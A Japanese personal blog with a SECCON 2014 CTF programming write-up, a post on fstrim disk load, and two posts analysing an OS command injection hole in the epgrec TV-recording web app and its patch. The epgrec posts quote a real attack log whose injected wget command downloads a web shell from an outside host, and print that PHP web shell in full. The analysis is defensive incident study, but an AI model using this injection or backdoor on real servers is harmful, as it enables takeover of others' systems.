2014年12月7日日曜日

SECCON 2014 オンライン予選 Writeup

2014/12/6 〜 2014/12/7 で、日本最大のCTFイベントであるSECCON 2014 オンライン予選が
開催されました。

私も自宅から参加させて頂きました。

私が解けた問題の1つについて、僭越ながらWriteupを書かせて頂きます。


Choose the number

Genre Programming
Points 100
Question text 
nc number.quals.seccon.jp 31337

sorry fixed URL
こちらのジャンル「Programming」、ポイント「100点」の問題です。

問題文で提示されたソケットに対してncでアクセスすると、下記の応答があります。

$ nc number.quals.seccon.jp 31337
0, 6
The minimum number? 
Timeout, bye.
$ nc number.quals.seccon.jp 31337
5, 1
The minimum number? 5
Wrong, bye.
$ nc number.quals.seccon.jp 31337
9, 8
The minimum number? 8
-3, -2, 6
The maximum number? 6
0, 5, 7, 0
The maximum number? 7
1, 9, 5, 2, -7
The maximum number? 9
9, 7, -9, 7, -9, 3
The maximum number? 9
0, -1, 8, -2, -5, -6, -7
The maximum number? 8
3, 6, 6, -6, -3, 8, 5, -4
The maximum number? 8
-3, -8, -4, 1, 5, 8, 3, 2, -8
The maximum number? 8
98, 63, 3, -37, 35, -85, 47, 44, 73, -94
The maximum number? 98
-99, 56, 9, -36, -70, 97, -8, -76, -46, 14, -39
The minimum number? -99
-49, 17, 14, -62, -48, 31, 59, -57, 60, 9, 18, -11
The minimum number? -57
Wrong, bye.
提示された数列の中から、最大値もしくは最小値を連続で答えさせる問題です。
手動で進めていくと、だんだんタイムアウトが厳しくなるようで、人間の判断、入力速度では
どうしても最後まで進めない感じでした。

ジャンルは「Programming」であることから、自動的に正解値を送り続けるプログラムを組んで
やれば良いのだと想定出来ます。

まずサーバから送られてくる問題の文字列の規則性を考えてみます。
1. 数列と最小値 or 最大値を聞いてくる文言の必ず2行で構成されている
2. 数列は「, 」と、カンマとスペースで区切られている
3. 数列は問題に正解する毎に数が増えていく
4. 最小値 or 最大値を聞いてくる文言は、「minimum」か「maximum」の2つしか無い
5. 最小値 or 最大値を聞いてくる文言の「minimum」か[maximum」は必ず左から2番目の箇所に存在する

以上から、問題文をParseするのは比較的容易な事が分かります。
また、Parseした結果から正解手を導くアルゴリズムも非常に単純な為、比較的解きやすい問題だと思います。

下記のコードを書いて実行することで、keyが手に入りました。

#!/usr/bin/env python
# coding=utf-8

import socket
HOST = 'number.quals.seccon.jp'
PORT = 31337

def main():
    clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsock.connect((HOST, PORT))
    while True:
        rcvmsg = clientsock.recv(4096)
        print rcvmsg
        answer = solve(rcvmsg)
        print answer
        clientsock.sendall(answer)
    clientsock.close()


def solve(rcvmsg):
    # parse
    temp = rcvmsg.split("\n")
    str_number_list = temp[0].split(", ")
    max_or_min = temp[1].split(" ")[1]

    number_list = []
    for i in str_number_list:
        number_list.append(int(i))

    if max_or_min == "minimum":
        answer = min(number_list)
    else:
        answer = max(number_list)
    return str(answer)
    
if __name__ == "__main__":
    main()

key: SECCON{Programming is so fun!}

下記、実際にコードを実行した時の実行ログです(長いです)。

2, 8
The minimum number? 
2
5, 5, 0
The minimum number? 
0
-1, 2, 2, -4
The maximum number? 
2
8, 4, 3, -8, 9
The maximum number? 
9
8, -7, 2, -5, 1, 7
The maximum number? 
8
-3, 5, 7, 5, -6, -7, 3
The maximum number? 
7
6, 5, 2, -4, -8, 1, -7, -6
The minimum number? 
-8
4, -3, -5, -9, -5, -1, 4, 7, -9
The minimum number? 
-9
-99, -61, -81, -32, 50, 16, 75, 85, 7, -22
The minimum number? 
-99
82, 30, -28, 10, -23, -92, 27, 16, 14, -92, 78
The minimum number? 
-92
8, 56, -1, -74, -28, 43, -84, -32, -4, -56, 35, -52
The maximum number? 
56
3, 5, 26, -2, -81, 39, -53, 64, 28, 92, -83, -90, 44
The maximum number? 
92
4, 26, -50, 67, -55, 72, -72, -44, -77, -58, 75, 21, 70, 49
The maximum number? 
75
73, 12, -27, 22, 73, -12, 0, -16, 89, 66, 2, -43, -26, -2, -55
The minimum number? 
-55
-72, 5, -47, -80, 45, -3, 73, -95, -85, 58, 89, 22, 61, 60, -75, 27
The minimum number? 
-95
86, -41, -31, -30, 67, 33, 76, -14, 78, 95, 26, 88, -91, -20, 45, 51, 83
The minimum number? 
-91
-68, -47, 60, 85, 1, -17, -92, 94, -33, 47, -64, -76, 87, 21, 84, -8, -86, -14
The maximum number? 
94
18, 50, 9, 41, -26, 40, 39, -83, 7, -96, -45, 41, 47, -87, 28, -30, -70, 92, 8
The minimum number? 
-96
973, -220, -62, -952, -63, -18, 420, 121, 556, 267, -576, -421, 775, 421, 830, -70, 229, 2, 581, 839
The minimum number? 
-952
490, 742, 118, 634, -207, 181, -187, 72, 70, -932, -341, 842, -53, -520, -701, 286, 632, -333, -611, 580, 171
The maximum number? 
842
96, -215, 616, 983, 901, -547, 423, -666, 507, -852, -102, 92, -602, 613, 287, 680, 664, -43, -660, -655, -269, -733
The minimum number? 
-852

・・・略・・・

556459593, 2124483131, 2159881254, -3749776183, -2956358028, -525066711, -181583130, 804390823, 1740090484, -793541476, -771482074, 3981865877, -1781852942, 1733051694, -1229826280, -1252056066, 2302429424, -127597216, 584347400, 3201495296, 3793190324, -3792414033, 1778463825, 3285874942, -2696920906, 2556983581, 4058759995, 98217082, -2611145952, -324523284, -3921510686, 4250415544, -3727489945, -1627669983, -3852674381, 4156209840, 1684566595, -559196578, 331587419, 2164599710, 1250638363, 2661376500, -3009444945, 274000465, 3379372586, 3614523634, 4171421938, 619691208, -611617890, 1790148465, -2489245162, -1565675134, -2352506611, 1996182388, -3737895020, 4166992857, -1384468141, 3603231049, 418250494, -1170383247, -4207411230, -1371190709, -2836728233, -1687718214, -605700096, -3148453710, 1719740456, -1854546036, -3313019035, 3529400825, 3170707133, 60340683, -858105108, 2774783484, 4110192850, 908959548, -166441903, -2216610426, -2582470585, 2612317046, 2524067276, -2097902704, -3952326444, 3689731992, 1755793330, 3127603599, 162955011, 381420595, 1091122758, 4131177934, 971526781, 1344495679, -893926365, -1557417848, 457045675, -2006055280, -2434870581, 2715139040, 704942641, -1699474743, -721176381
The minimum number? 
-4207411230
Congratulations!
The flag is SECCON{Programming is so fun!}

Traceback (most recent call last):
  File "./programming_resolver.py", line 37, in 
    main()
  File "./programming_resolver.py", line 14, in main
    answer = solve(rcvmsg)
  File "./programming_resolver.py", line 28, in solve
    number_list.append(int(i))
ValueError: invalid literal for int() with base 10: 'Congratulations!'

最後にParseに失敗しているのは、サーバから飛んでくる文字列形式が異なるからで、気にしない。

一部 XSS Bonsai という問題で、Windowsが無いと問題に挑戦することすら出来ない問題があり、
私はLinuxしか手元にない為、どんな問題だったのかそれだけ見ることが出来ませんでした・・。
wine でも動作せず・・・。 CTFはプロプライエタリソフトウェアを持っていることが前提なのでしょうか・・・。

2014年12月3日水曜日

負荷の正体はなんなんだ!?定期的に重くなるLinux mint 17 (qiana)

久しぶりにブログ書きます。

私はLinux mint MATE を日常的に使っているのですが、ここ数ヶ月の間
たまに何も自分では処理をさせているつもりがないのにOS全体がもっさりと
重くなることがありました。

今までずっと原因がわからずにいたのですが、今日判明して嬉しくなってこのエントリを書いていますw

状況ですが、OS起動して数分後から突然ストレージアクセスランプが点灯しっぱなしに十数分程
なってしまい、何をするにもIO待ちになってしまいます。

ストレージアクセスランプが光っぱなしなので、IO負荷がかかっていることは容易に分かっていたのですが
じゃあ、どのプロセスがIO負荷をかけているのか?までは掴みきれていませんでした。

今回重い腰を上げて、色々調べてみましたところ、Linuxには「iotop」という素晴らしいコマンドがありました。
このコマンドを実行すると、IO負荷が高いプロセス順にtopコマンドのような出力が得られました。

で、今回判明したプロセスはこれ
「fstrim」

初めて見るコマンドですが、こいつがIOを99%奪い続けていました。
なんだろうかと調べてみると、どうやらUbuntu 14.04ベースのLinuxでは
一週間に1回、自動的にこのコマンドを定期実行するように最初から
スケジューリングされていることが判明しました。

/etc/cron.weekly/fstrim

にしっかり定義されています。

このコマンドは、WindowsでいうところのHDDのデフラグみたいなコマンドらしい。
定期的に実行することでIOパフォーマンスが劣化しないようにしてくれてる模様。

PostgreSQLのvacuum みたいなイメージかなぁ・・・。
Linuxにもこの手のコマンドあるとは知りませんでした。

なんかたまにIO負荷ががくんと十数分上がりっぱなしになって原因がわからず
困っている人の何かしらの参考になれば・・・。

2014年2月23日日曜日

「続編」epgrecの脆弱性を検証する

前回 epgrecの脆弱性について検証しましたが、しばらく対策について
記述していませんでした。
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での
対策について検討したいと思います。

fork版の開発者から、修正パッチが出ているのでそれを適用します。
http://d.hatena.ne.jp/katauna/20140118/1390017028

パッチ内容を確認します。

$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET['script'] ) )
- $epg_rec = $_GET['script'];
-else
- exit();
 if( isset( $_GET['time'] ) )
  $rec_time = $_GET['time'];
 else
@@ -15,8 +11,21 @@
 
 echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ
を開いてください。';
 
-@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
-
+if( isset( $_GET['script'] ) ){
+ $epg_rec = $_GET['script'];
+ switch( $epg_rec ){
+  case '/getepg.php':
+  case '/shepherd.php':
+   @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
+   break;
+  default:
+   $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']';
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?>
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに
限定されている為、これで攻撃は防げると思います。
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。

# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・

2014年1月21日火曜日

epgrecの脆弱性を検証する

epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照

epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。

今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
        $epg_rec = $_GET['script'];
else
        exit();
if( isset( $_GET['time'] ) )
        $rec_time = $_GET['time'];
else
        exit();

echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';

@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );

exit();

このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。

今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 

これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php 
 header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i < TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i < TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = "0" + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
 for($i=0;$i<strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET['cmd']) { 
 if($_GET['sjis']==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
 else 
  $cmd = trim(urldecode($_GET['cmd'])); 

?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
 $cmd = "(".$cmd;$cmd .= ") 2>&1";
 if (!$_GET['type']) {
  system($cmd);
 } elseif ($_GET['type']==1) {
  passthru($cmd);
 } elseif ($_GET['type']==2) {
  echo (exec($cmd));
 } elseif ($_GET['type']==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら 処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか 現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。

一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。